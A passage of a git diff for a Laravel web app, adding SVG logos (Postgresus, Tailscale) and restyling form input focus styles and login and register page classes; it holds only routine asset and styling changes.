c0,2.9-0.5,5.9-1.4,8.7c-1,3.3-2.7,6.3-4.1,9.4c0.3,0.4,0.7,0.9,1,1.3c2.8-1.5,5.6-3.1,8.4-4.5c2-1,4.1-2.1,6.2-2.5   c2.4-0.5,5,0,7.4-0.5c24.5-4.5,40.2-19.2,48.6-42.2c9-24.5,10.5-50.1,9.6-75.8c-0.3-9.5,1.3-17.5,5.7-24.3c-2.9-2.5-6.4-4.3-8-7.1   c-1.7-3-1.4-7-2.3-10.5c-4.2-17.4-10.3-33.8-24.4-45.8c-13.4-11.4-29.3-14.6-46.7-14.1c0,2.2,0,3.8,0,5.5c0,26.6-0.1,53.3-0.2,79.9   c0,8-6.8,14.5-14.5,14.5C2216.5,391.8,2214.2,392.1,2211.9,392.3z"></path>
+	<path d="M1327.4,524.1c-1.3-1-2.1-2-2.8-2.1c-6.6-0.2-13.2-0.1-19.8-0.2c-1.4,0-3.1-0.5-4.1-1.4c-23.4-22.3-38.4-49.5-44.8-81.1   c-2.5-12.4-4.2-25.1-4.7-37.8c-0.6-16.2,1.6-32.4,6-48.1c2.3-8.2,10.8-14.7,19-15.1c1.4-0.1,2.8,0.7,5.4,1.4   c-0.5-2-0.4-3.9-1.3-4.7c-4.4-4.2-5.1-8.7-2.9-14.3c2.9-7.6,3.8-16.6,8.5-22.8c15-19.8,34.9-33.8,57.6-43.6   c24.9-10.8,51.2-14.9,78.2-14.2c16.5,0.5,32.6,3.6,48.5,7.8c12.2,3.3,24.6,5.3,37.4,3.2c1.9-0.3,4.3,1.8,7.4,3.2   c1.8-2,4.2-4.7,6.7-7.4c0.9-1,1.7-2.1,2.8-2.7c13.1-7.2,23.7-16.4,26.7-33.5c1.6,2.2,2.8,3.2,3.3,4.6c2.6,7.4,6.4,14.7,7.1,22.2   c0.8,9.3,4.9,18.4,1.2,28.1c-2.4,6.4-5.7,11.5-11.2,15.3c-3,2.1-5.6,2.5-8.9,0c-9.5-7.2-10-10.5-1-18.4   c10.4-9.1,14.3-20.3,12.6-34.7c-0.9,1.3-1.6,2-1.8,2.7c-2.5,10.7-8,19.1-17.4,25.1c-13.1,8.4-12.5,18.4-8.2,25.6   c2.5,4.2,6.9,7.2,9.7,11.3c7.2,10.6,14.3,21.4,20.9,32.5c4.1,6.9,2.7,9.8-4.6,12.9c-3.9,1.7-7.8,3.4-11.9,5.9c2,0,4,0,6,0   c11.9,0.1,21,7.7,23.2,19.2c4.2,21.5,5.8,43.3,2.9,65c-1.5,11.3-4.8,22.3-7.3,33.4c-0.7,3.2-2.6,4.8-6,4.3c-1.4-0.2-2.9,0-4.9,0   c7.9,4.8,8,4.9,4,13c-21.8,44.5-57.6,71.6-105.5,82.6c-18,4.1-36.3,5.6-54.8,3.4c-27.2-3.3-52.8-10.9-75.7-26.5   c-2-1.4-5.1-4.4-4.7-5.4c1.2-2.9,2.2-6.8,6.5-7.2C1325.3,525.8,1326,525,1327.4,524.1z M1485.6,483.1c-2.9-8.4-6.3-16.2-4.6-25.1   c0.9-4.7,1.9-9.5,1.6-14.2c-1-15.2-1.6-30.5-4.3-45.4c-4-21.9-11.5-42.8-22.5-62.4c-8.1-14.4-17.7-27.6-31.1-37.5   c-10.3-7.7-21.8-12.2-35-13.1c-13.3-0.9-23.5,3.8-29.8,15c-4.4,7.9-7.4,16.8-10.2,25.5c-1.5,4.7-1.7,9.5-8.9,8.1   c4.7,2.9,6.6,6.2,5.7,11.3c-0.9,5.1-1.2,10.3-1.3,15.4c-0.5,21.5,2.3,42.6,9.1,63.1c5.9,17.9,14.8,34.2,25.4,49.7   c5.8,8.4,9,17.5,0.7,27.4c2.2-0.6,3.5-0.7,4.6-1.3c8-4.1,15-2.4,22,2.9c6.2,4.6,12.7,9,19.5,12.5c6.2,3.2,12.9,5.8,20.4,4.2   c13.4-2.8,19.8-12.7,24.7-24.1c2.6-5.9,4.5-12.2,6.9-18.7C1481,479,1483.3,481.1,1485.6,483.1z"></path>
+	<path d="M1700.7,488.1c8.3,8.4,13.5,16.4,12.9,27.8c-0.7,13.5,2.9,26.3,10,38c0.6,1,1.6,2,1.6,3c0,1.2-0.9,2.5-1.4,3.7   c-1.1-0.5-2.3-0.8-3.1-1.5c-0.9-0.9-1.4-2.1-2.9-4.4c-2,7.4-7.3,6-11.9,6c-9.2,0.1-18.3,0-27.5,0.1c-3.1,0.1-5.2-0.5-6.9-3.5   c-1.8-3.1-4.3-5.7-7-9.3c-1.9,3-3.7,5.4-5,8.1c-1.7,3.7-4.3,4.7-8.3,4.6c-12-0.3-24-0.1-36-0.1c-7.4,0-9.7-3.1-5.9-9.5   c8.5-14.7,9.1-30.7,9.3-46.9c0.1-10.4,0-20.6,2.7-30.8c1.3-5-0.4-10.8-0.9-16.2c-0.4-4.1-1.7-8.3-1.7-12.4   c-0.1-42.3,0-84.6-0.2-127c0-3.9-0.4-7.5,3.6-9.8c3.1-1.8,6.1-3.7,9.6-5.8c-0.4-0.5-1.4-2.6-2.9-3.3c-8.8-4.3-11.7-9.7-11.3-19.4   c0.2-4-1.3-8.2-2.9-12c-2.7-6.5-6.1-12.8-9.3-19.2c3.5-3.8,8.2-3.4,12.9-3.3c7.3,0.1,14.7,0.2,22-0.1c4.4-0.2,8,0.2,7.6,5.7   c0.5,0.1,0.8,0.2,0.8,0.2c5.5-6.8,13.1-5.9,20.5-5.9c22.8,0.1,45.7-0.1,68.5,0.2c7.1,0.1,14.2,1.2,21.3,2.1   c1.8,0.2,3.5,1.6,5.1,2.5c0.5,0.3,1.1,1.1,1.5,1.1c12-2.1,21.7,4.4,31.7,9c15.6,7.2,28.6,17.9,37.9,32.5   c12.3,19.2,14.8,40.1,9.7,61.8c-2.1,8.7-6.5,16.9-9.8,25.3c-1.3,3.3-3.7,4.9-7.4,4.3c-5.2-0.7-10.4-1.3-15.6-1.7   c-1.2-0.1-2.4,0.7-4.2,1.2c8,6,9.7,9.5,7.4,16.1c-0.8,2.3-2.8,4.4-4.7,6c-2.4,1.9-5.3,3.3-8.1,4.7c-2.8,1.4-5.7,2.4-9.9,4.1   c6.2,12.1,12.1,24,18.4,35.7c2.9,5.4,6.5,10.4,9.5,15.7c1.1,2.1,1.4,4.6,2.3,8.1c6.5,2.4,9.3,10.2,14,16.2   c17.8,22.7,35.5,45.5,53.2,68.2c0.4,0.5,0.6,1.1,1.4,2.4c-2.1,0-3.7,0-5.2,0c-25,0-50,0-75,0.2c-3.7,0-6.3-1-8.7-3.7   c-3.1-3.5-6.4-6.8-9.9-9.9c-3-2.7-4.9-5.2-1.9-9c0.5-0.7,0.6-1.8,1.1-3.5c-10.4,5.7-13.5-3.4-17.8-8.5   c-16.5-19.4-30.4-40.6-41.9-63.2c-6.2-12.1-11-24.9-16.4-37.3c-0.6-1.4-1.5-2.8-2.9-5.6c0,4.9,0.9,8.6-0.3,11.5   c-1,2.6-4.2,4.4-6.7,6.9c8.7,5.3,7,14.4,7.6,22.5c0.5,6,0.1,12,0.1,18c0,6.1-2.9,8.9-9.2,8.8C1703.4,488,1702.6,488.1,1700.7,488.1   z M1710,400.3c2.7-0.4,5-0.5,7.2-1.1c21.8-5.6,37.3-19.2,47.3-39c5.9-11.7,7.9-24.5,5-37.5c-2.6-11.7-9.2-20.4-20.1-26   c-12.5-6.3-25.9-7.3-39.4-7.9c0,15.7,0.2,30.6-0.1,45.6c-0.1,3-1.9,5.9-3.4,10c3.9,3.6,3.7,9.9,3.5,16.3c-0.1,3.5,0,7,0,10.5   C1710,380.6,1710,390.1,1710,400.3z"></path>
+	<path d="M581.9,350.4c7.2-4.3,9.3-3.6,13.4,1.9c7.5,10.3,15.2,20.4,22.9,30.6c-8.6-1.7-15.5-7-22.4-12.6   c10.9,19.7,24,37.7,41.8,52.1c-4.1,1.4-10.9-0.8-18.6-6.1c-5.5-3.8-10.7-8-16.3-11.8c14.6,23.9,31.9,45.4,55.3,61.6   c-0.1,0.5-0.3,0.9-0.4,1.4c-3.5-0.8-7.1-1.2-10.4-2.4c-14-5.4-25.8-14-36.6-24.2c-0.5-0.4-1-0.8-1.5-1.1c-0.5-0.3-1.1-0.6-2.1-1.1   c4.2,13.9,7.8,27.5,12.4,40.7c1.9,5.5-1.1,9.9-1.3,14.9c-0.1,3.6-2.1,7.2-3.5,10.7c-1.4,3.3-0.4,4.4,2.9,5.5   c7.9,2.8,15,6.9,19.2,14.8c3.9,7.3,8.4,14.3,12.7,21.4c1,1.7,2.3,3.3,3.2,5c3.2,6.4,1.6,9.2-5.3,9.1c-5,0-10,0.1-15,0   c-5.6,0-11.9,1.7-14.8-6.9c-4,7.6-10.2,7.1-16.4,7c-19-0.1-38-0.1-57-0.1c-1.8,0-3.6,0-5.6,0c-0.6-14-0.1-27.7-2-41   c-1.9-13.4-6.3-26.4-9.4-38.9c-11.6,0-22.5,0-33.4,0c-5.3,0-10.7,0.2-16-0.1c-2-0.1-3.9-1.2-5.8-2.2c-4.3,0.4-6,3.1-6.9,7.5   c-2.9,13.2-7.3,26.1-9.5,39.4c-1.4,8.5,0.1,17.5,0.3,26.2c0,1.6-0.1,3.3,0.1,4.9c0.3,3.7-1.7,4.3-4.9,4.2c-35-0.1-70,0-105,0   c-1.3,0-2.9,0.3-3.9-0.3c-0.8-0.5-1.5-2.6-1.1-3.2c3.4-5.3,6.9-10.6,10.8-15.6c10.3-13.3,17.8-28,23.6-43.7   c5.4-14.8,10.6-29.7,16-44.5c1.1-3,2.4-6.6,7.5-4.2c0-2.8,0.5-5.1-0.1-7.1c-2.2-6.9,1.4-12.6,3.4-18.5   c9.5-26.8,19.3-53.5,29.1-80.3c2.8-7.6,8.9-11.1,16.7-10.5c2.8,0.2,5.7-0.8,9-1.4c-0.6-0.9-0.9-1.8-1.5-2.2   c-10-6.2-9.7-16.3-8.5-25.6c1.3-9.8,5-19.3,7.8-29c0.3-1,1.1-2,1.9-2.6c4.1-3.3,4.4-5.7-0.7-7.8c-7.2-3-11.4-8.6-16-14.2   c-0.9-1.1-1.6-2.3-3.1-4.4c2.7-0.3,4.4-0.6,6.1-0.6c28.7,0,57.3-0.4,86,0.3c7.5,0.2,14.6,3.8,22.4-0.2c3.1-1.6,7.6,3.2,8.1,8.2   c2.7,27.7,13.2,52.9,24,78C585.9,337.1,585.5,343.4,581.9,350.4z M520.8,427.6c-9.7-34.5-13-69.5-21.5-103.8   C491.2,357,483.2,390.2,475,424c11.7,0,22.4-0.1,33,0.1c2.1,0,4.1,0.7,6.2,1.3C516.3,425.9,518.5,426.8,520.8,427.6z"></path>
+	<path d="M886.8,481.9c-2.3,7.6-4.3,14.5-6.6,21.4c-0.9,2.6-2.6,4.8-4.6,6.7c0,2.9,0.6,5.9-0.1,8.5c-3.5,12.5-7.5,25-11.2,37.5   c-1,3.5-2.6,5.2-6.6,4.8c-4.8-0.4-9.7,0.1-14.5-0.2c-1.5-0.1-3.3-1-4.3-2.2c-0.4-0.5,0.9-2.5,1.5-3.9c-1.7-1.4-4.3-2.5-5.5-4.6   c-1.2-1.9-0.9-4.7-2-6.9c-1.2,4.9-2.2,9.8-3.9,14.5c-0.5,1.4-3.1,3-4.8,3c-26.3,0.2-52.7,0.1-79,0.2c-5.9,0-5.5-5.2-7.4-8.4   c-0.5-0.9-0.2-2.2-0.4-3.7c-1.1,0.3-2.2,0.2-2.4,0.7c-1.6,3.2-3,6.6-4.7,9.7c-0.4,0.8-1.9,1.5-2.8,1.5c-15.6,0.1-31.3,0.1-48,0.1   c1.2-4.5,1.7-8.6,3.5-12.1c4.5-8.7,6.7-17.9,6.7-27.6c0.3-55.6,0.5-111.3,1-166.9c0-3.9,2.1-7.9,3.3-11.8c0.5-1.7,1.3-3.2,2.1-5.1   c-2.2,0.1-3.7,0.2-5.4,0.3c0-14,0.5-27.6-0.2-41.2c-0.5-9.7-1.6-19.5-4-28.8c-1.7-6.9-6-13.1-9.6-20.6c1.7-0.5,3.9-1.8,6.2-1.8   c8.2-0.3,16.3-0.4,24.5,0c4.8,0.3,9.5,1.8,13.2,2.5c4.8-1,9-2.4,13.1-2.5c19.7-0.3,39.3-0.1,59-0.2c1.6,0,3.2,0,6.3,0   c-5.1,5.6-7.4,12.6-16,10.9c-1.1-0.2-2.5,1-5,2.1c7.7,1.4,9.3,4.3,8.5,10.9c-0.9,7.6-1.2,15.3-1.3,22.9c-0.2,15-0.1,30-0.1,45   c0,8.8,0,8.8-6,16.5c-1.4-1-2.8-2-4.3-3c-0.4,0.2-0.8,0.5-1.3,0.7c2.3,3.7,3.9,9,7.2,10.6c4.2,2,4.2,4.6,4.2,7.8   c0.1,10.3,0.1,20.7,0.1,31c0,31,0,62-0.1,93c0,2.4-1.2,4.7-1.4,7.1c-0.1,1.7,0,3.9,0.9,4.9c1.4,1.5,3.3,2.1,5.5-0.2   c1.3-1.4,4-2,6.1-2.2c15.1-1.7,30.4-2.5,45.4-4.8c15-2.4,29.1-8,42.4-15.5C884.6,482.4,885.3,482.3,886.8,481.9z"></path>
+	<path d="M2117.6,483c-3.2,10.4-4.6,21.7-14.1,29.7c3.3,3.7,3.3,7.8,1.4,12.4c-1.8,4.4-2.8,9.2-4.4,13.7c-0.8,2.1-1.9,4.2-3.3,5.9   c-2,2.5-3.7-0.3-5.5-0.6c-3.6-0.5-7.5,0.6-11.4,1.1c1.8,2.2,3.6,4.4,4.8,5.8c2.5-0.4,5.5-1.7,6.4-0.8c2.1,2.2,5.3,4.7,3,8.5   c-0.6,0.9-1.9,2-2.9,2c-31.3,0-62.6,0-93.9-0.1c-0.1,0-0.3-0.1-0.9-0.5c0.5-1.3,1-2.7,1.6-4c-0.4,0.1-0.7,0.2-1.1,0.3   c-0.9-2.7-1.8-5.4-2.8-8.5c-1.1,2.2-1.8,4.3-3.2,5.9c-4,4.7-8.5,7.4-15.3,7.3c-22.1-0.5-44.3-0.2-66.5-0.2c-1.1,0-2.2-0.1-3.1-0.1   c3.6-6.1,7.5-11.8,10.5-17.9c4.5-9.3,4.3-19.6,4.3-29.7c0-12,0-24,0-36c0-7.6,6.1-13.8,13.9-14.1c3.1-0.1,6.3,0,10,0   c-0.9-4.7-4.1-7.2-7.4-9c-8.9-4.8-11.6-12.1-11.1-21.9c0.2-4.2-2.5-8.6-3.8-13c-0.6-2.2-1.5-4.4-1.5-6.6   c-0.1-32.6-0.1-65.2-0.1-97.8c0-10.2-0.1-20.3-0.2-30.5c-0.1-10.8-3-20.8-8.8-29.9c-0.8-1.3-0.9-3.3-0.6-4.8   c0.1-0.6,2.3-0.7,4.2-1.3c0.1-0.4,0.3-1.6,0.5-2.8c0.7-0.1,1.2-0.3,1.7-0.3c10,0,20,0.1,30,0c5.2-0.1,10.5-0.5,13.8,6   c5.8-8.2,14-5.8,21.4-5.9c9.8-0.2,19.7-0.4,29.5,0c4.6,0.2,9.1,2,13.6,3c-2.8,7.1-6.5,12.8-7.3,19c-1.6,11.8-1.8,23.8-2,35.8   c-0.1,6.2-1.2,11.6-5.2,16.6c-2.8,3.5-4.6,7.9-6.8,12c0.4,0.3,0.8,0.6,1.1,0.8c1.3-1.2,2.4-2.5,3.9-3.5s3.3-1.7,5-2.5   c0.6,1.7,1.7,3.4,1.7,5.1c0.1,16.7,0.1,33.3,0.1,50c0,35.2,0.2,70.3-0.1,105.5c0,5.1-1.8,10.3-3.4,15.2c-1.4,4.2-1.8,4,1.5,7.9   c2.6-5.4,7-6.9,12.7-7c24.5-0.4,48.7-2.7,71.5-12.3c0.9-0.4,2.2-1,2.9-0.6c6.4,3.2,9.2-1.2,12.2-5.6c0.7-1,1.9-1.5,2.9-2.3   C2116.9,482.4,2117.3,482.7,2117.6,483z"></path>
+	<path d="M1309.2,646.2c-4.8-4.6-9.2-9-13.7-13.3c4.4-4.3,8.8-8.6,13.5-13.2c-0.2,0,0.3-0.1,0.4,0.1c4,5.7,9.6,6.3,16.1,6.3   c111.2,0.4,222.3,1.1,333.5,1.7c125.5,0.7,251,1.4,376.5,2.1c121.7,0.7,243.3,1.5,365,2.2c29,0.2,58,0,87,0c0,0.7,0,1.5,0,2.2   c-62.5,0-124.9-0.2-187.4,0c-83.7,0.3-167.3,0.8-251,1.3c-120.2,0.7-240.3,1.4-360.5,2c-121.8,0.7-243.6,1.4-365.4,2   C1316.7,639.8,1316.7,639.9,1309.2,646.2z"></path>
+	<path d="M1194.3,620.3c4,4,8.6,8.5,13.2,13c-4.4,4.4-8.9,8.8-13.3,13.2c-0.2-0.1-0.4-0.1-0.5-0.2c-5.1-7.2-12.6-6.5-20.1-6.6   c-68-0.2-136-0.5-204-0.8c-46.7-0.2-93.3-0.6-140-0.8c-121.8-0.7-243.6-1.5-365.4-2.2c-81-0.5-162-1.1-242.9-1.3   c-66.5-0.2-133,0-199.4,0c0-0.5,0-0.9,0-1.4c58.6-0.5,117.2-1.2,175.8-1.5c88.6-0.6,177.3-1,265.9-1.5c124.3-0.7,248.6-1.3,372.9-2   c115.5-0.7,230.9-1.3,346.4-2.3C1186.8,625.7,1190.6,622.2,1194.3,620.3z"></path>
+	<path d="M1061.2,218.9c-0.8-10.7-1.7-21.4-2.2-32.2c-0.1-1.6,1.5-3.4,2.5-5.1c0.9-1.4,2-2.7,2.4-4.8c-1.3,0.8-2.6,1.6-4.3,2.6   c1.6-12.2,4.6-23.4,11.9-33.1c-10,6.7-17.3,15.4-21.2,26.8c-3.9,11.3-3.1,22.6-0.5,34.9c-12.5-13.1-15.3-33.6-7.5-49.9   c6.4-13.4,15.9-24.2,28.3-32c7-4.4,14.7-7.5,22.1-11.2c0.4,0.4,0.8,0.8,1.2,1.2c-0.3,1.5-1,3.1-1,4.6c0,4.8,0.3,9.6,0.5,14.4   c0.2,4,2.9,7.4,0.8,12.3c-1.8,4.1,1.8,8.9,4.7,12.6c4.6,5.9,3,12.6,2.7,19.2c0,0.5-0.6,1.5-1,1.5c-5.9,0.8-5.5,5.4-6.4,9.6   c-0.6,2.8-1.9,6-4,7.7c-5.4,4.6-11.3,8.6-17.1,12.7C1069.6,213.4,1065.9,215.7,1061.2,218.9z"></path>
+</g>
+</svg>
diff --git a/public/svgs/pangolin-logo.png b/public/svgs/pangolin-logo.png
new file mode 100644
index 000000000..fb7a252d9
Binary files /dev/null and b/public/svgs/pangolin-logo.png differ
diff --git a/public/svgs/postgresus.svg b/public/svgs/postgresus.svg
new file mode 100644
index 000000000..a45e81167
--- /dev/null
+++ b/public/svgs/postgresus.svg
@@ -0,0 +1 @@
+<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="none"><path d="M18.1899 24.7431C17.4603 24.7737 16.6261 24.3423 16.1453 23.6749C15.9745 23.438 15.6161 23.4548 15.4621 23.7026C15.1857 24.1478 14.9389 24.5259 14.8066 24.751C14.4739 25.3197 14.5242 25.4223 14.7918 25.8636C15.2923 26.689 16.8374 27.9675 19.0113 27.999C22.3807 28.0474 25.2269 26.2506 26.303 21.9058C29.0811 22.0322 29.5767 20.9018 29.5866 19.8415C29.5965 18.795 29.1542 18.2796 27.8866 17.9232C27.4739 17.8067 26.9902 17.7061 26.4689 17.4948C26.3198 16.2281 25.9496 15.0257 25.376 13.8933C28.1433 2.78289 16.4839 -0.631985 12.0048 4.22426C11.3818 3.42756 9.81016 2.00395 7.14065 2C4.12857 1.99606 1 4.47798 1 8.23346C1 9.79626 1.93492 12.1331 2.56083 14.1332C3.86103 18.2875 4.6992 19.4683 6.52362 19.801C7.98376 20.0675 9.1645 19.3972 10.0471 18.2796C11.3233 18.4028 10.4726 19.5371 16.4099 19.2234C17.6765 19.1168 18.7694 19.564 19.5937 20.498C20.8071 21.8732 20.4566 24.6474 18.1899 24.7421V24.7431ZM17.8483 13.0423C17.2174 12.9801 16.707 12.4697 16.6448 11.8389C16.5599 10.9859 17.2708 10.2761 18.1237 10.36C18.7546 10.4222 19.265 10.9326 19.3272 11.5634C19.4111 12.4154 18.7013 13.1262 17.8483 13.0423ZM20.578 18.178C19.9403 17.5392 19.8524 16.7149 20.3519 16.1788C20.9186 15.5706 21.7242 15.85 22.1428 16.3061C23.4331 17.712 24.9209 18.6193 27.854 19.337C28.4651 19.487 28.4157 20.3716 27.7908 20.4476C26.4798 20.6076 24.3355 20.3065 22.8882 19.6934C22.0115 19.3222 21.1763 18.7762 20.578 18.177V18.178Z" fill="#1677FF"></path><path d="M17.0439 19.2156C17.0439 19.2156 17.037 19.2156 17.0321 19.2156C18.0648 19.2738 18.9029 19.7161 19.594 20.498C20.8073 21.8732 20.4568 24.6474 18.1901 24.7421C17.4606 24.7727 16.6263 24.3413 16.1456 23.6739C17.7202 26.6505 21.8281 26.0818 22.2694 23.3432C22.6288 21.114 20.0304 18.5699 17.0439 19.2136V19.2156ZM10 18C7.24751 15.8875 7.91886 10.4824 10.7779 6.4742C10.3317 5.85322 9.00779 4.787 7.32553 4.74751C4.61357 4.68433 2.68055 6.99842 3.66286 10.206C3.9768 6.91846 7.20805 6.33105 8.7363 8.17324C6.76477 12.1479 7.27817 16.1766 10 18C15 19.2194 12.2436 19.21 10 18Z" fill="#1E56E2"></path><path d="M10 18H12L13 19H12L11 18.5L10 18Z" fill="#1677FF"></path></svg> 
\ No newline at end of file
diff --git a/public/svgs/tailscale.svg b/public/svgs/tailscale.svg
new file mode 100644
index 000000000..cde7dbd50
--- /dev/null
+++ b/public/svgs/tailscale.svg
@@ -0,0 +1,7 @@
+<svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" id="Tailscale--Streamline-Simple-Icons" height="24" width="24">
+  <desc>
+    Tailscale Streamline Icon: https://streamlinehq.com
+  </desc>
+  <title>Tailscale</title>
+  <path d="M24 12a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zm-9 9a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zm0 -9a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zm6 -6a3 3 0 1 1 0 -6 3 3 0 0 1 0 6zm0 -0.5a2.5 2.5 0 1 0 0 -5 2.5 2.5 0 0 0 0 5zM3 24a3 3 0 1 1 0 -6 3 3 0 0 1 0 6zm0 -0.5a2.5 2.5 0 1 0 0 -5 2.5 2.5 0 0 0 0 5zm18 0.5a3 3 0 1 1 0 -6 3 3 0 0 1 0 6zm0 -0.5a2.5 2.5 0 1 0 0 -5 2.5 2.5 0 0 0 0 5zM6 12a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zm9 -9a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zm-3 2.5a2.5 2.5 0 1 0 0 -5 2.5 2.5 0 0 0 0 5zM6 3a3 3 0 1 1 -6 0 3 3 0 0 1 6 0zM3 5.5a2.5 2.5 0 1 0 0 -5 2.5 2.5 0 0 0 0 5z" fill="#000000" stroke-width="1"></path>
+</svg>
\ No newline at end of file
diff --git a/resources/css/app.css b/resources/css/app.css
index fa1e61cb2..70759e542 100644
--- a/resources/css/app.css
+++ b/resources/css/app.css
@@ -82,7 +82,7 @@ @keyframes lds-heart {
 */
 html,
 body {
-    @apply w-full min-h-full bg-neutral-50 dark:bg-base dark:text-neutral-400;
+    @apply w-full min-h-full bg-gray-50 dark:bg-base dark:text-neutral-400;
 }
 
 body {
diff --git a/resources/css/utilities.css b/resources/css/utilities.css
index f819280d5..2899ea1e5 100644
--- a/resources/css/utilities.css
+++ b/resources/css/utilities.css
@@ -32,7 +32,20 @@ @utility apexcharts-tooltip-custom-title {
 }
 
 @utility input-sticky {
-    @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
+    @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 dark:bg-coolgray-100 dark:text-white disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 focus-visible:outline-none;
+    box-shadow: inset 4px 0 0 transparent, inset 0 0 0 1px #e5e5e5;
+
+    &:where(.dark, .dark *) {
+        box-shadow: inset 4px 0 0 transparent, inset 0 0 0 1px #242424;
+    }
+
+    &:focus-visible {
+        box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 1px #e5e5e5;
+    }
+
+    &:where(.dark, .dark *):focus-visible {
+        box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 1px #242424;
+    }
 }
 
 @utility input-sticky-active {
@@ -46,20 +59,49 @@ @utility input-focus {
 
 /*  input, select before */
 @utility input-select {
-    @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-2 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
+    @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 dark:bg-coolgray-100 dark:text-white disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40;
+    box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5;
+
+    &:where(.dark, .dark *) {
+        box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424;
+    }
+
+    &:disabled {
+        box-shadow: none;
+    }
+
+    &:where(.dark, .dark *):disabled {
+        box-shadow: none;
+    }
 }
 
 /* Readonly */
 @utility input {
-    @apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200;
+    @apply dark:read-only:text-neutral-500 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200;
     @apply input-select;
-    @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
+    @apply focus-visible:outline-none;
+
+    &:focus-visible {
+        box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5;
+    }
+
+    &:where(.dark, .dark *):focus-visible {
+        box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424;
+    }
+
+    &:read-only {
+        box-shadow: none;
+    }
+
+    &:where(.dark, .dark *):read-only {
+        box-shadow: none;
+    }
 }
 
 @utility select {
     @apply w-full;
     @apply input-select;
-    @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
+    @apply focus-visible:outline-none;
     background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23000000'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e");
     background-position: right 0.5rem center;
     background-repeat: no-repeat;
@@ -69,6 +111,14 @@ @utility select {
     &:where(.dark, .dark *) {
         background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23ffffff'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e");
     }
+
+    &:focus-visible {
+        box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5;
+    }
+
+    &:where(.dark, .dark *):focus-visible {
+        box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424;
+    }
 }
 
 @utility button {
@@ -152,7 +202,7 @@ @utility custom-modal {
 }
 
 @utility navbar-main {
-    @apply flex flex-col gap-4 justify-items-start pb-2 border-b-2 border-solid h-fit md:flex-row sm:justify-between dark:border-coolgray-200 border-neutral-200 md:items-center;
+    @apply flex flex-col gap-4 justify-items-start pb-2 border-b-2 border-solid h-fit md:flex-row sm:justify-between dark:border-coolgray-200 border-neutral-200 md:items-center text-neutral-700 dark:text-neutral-400;
 }
 
 @utility loading {
diff --git a/resources/views/auth/login.blade.php b/resources/views/auth/login.blade.php
index f85dc268e..ede49117a 100644
--- a/resources/views/auth/login.blade.php
+++ b/resources/views/auth/login.blade.php
@@ -61,7 +61,7 @@ class="text-sm dark:text-neutral-400 hover:text-coollabs dark:hover:text-warning
                                 <div class="w-full border-t border-neutral-300 dark:border-coolgray-400"></div>
                             </div>
                             <div class="relative flex justify-center text-sm">
-                                <span class="px-2 dark:bg-base text-neutral-500 dark:text-neutral-400">
+                                <span class="px-2 bg-gray-50 dark:bg-base text-neutral-500 dark:text-neutral-400 ">
                                     Don't have an account?
                                 </span>
                             </div>
@@ -82,7 +82,7 @@ class="block w-full text-center py-3 px-4 rounded-lg border border-neutral-300 d
                                 <div class="w-full border-t border-neutral-300 dark:border-coolgray-400"></div>
                             </div>
                             <div class="relative flex justify-center text-sm">
-                                <span class="px-2 dark:bg-base text-neutral-500 dark:text-neutral-400">or
+                                <span class="px-2 bg-gray-50 dark:bg-base text-neutral-500 dark:text-neutral-400">or
                                     continue with</span>
                             </div>
                         </div>
diff --git a/resources/views/auth/register.blade.php b/resources/views/auth/register.blade.php
index 3db943726..cdfa52a98 100644
--- a/resources/views/auth/register.blade.php
+++ b/resources/views/auth/register.blade.php
@@ -33,7 +33,8 @@ function getOldOrLocal($key, $localValue)
                                 </svg>
                                 <div>
                                     <p class="font-bold text-warning">Root User Setup</p>
-                                    <p class="text-sm dark:text-white text-black">This user will be the root user with full admin access.</p>
+                                    <p class="text-sm dark:text-white text-black">This user will be the root user with full
+                                        admin access.</p>
                                 </div>
                             </div>
                         </div>
@@ -58,13 +59,16 @@ function getOldOrLocal($key, $localValue)
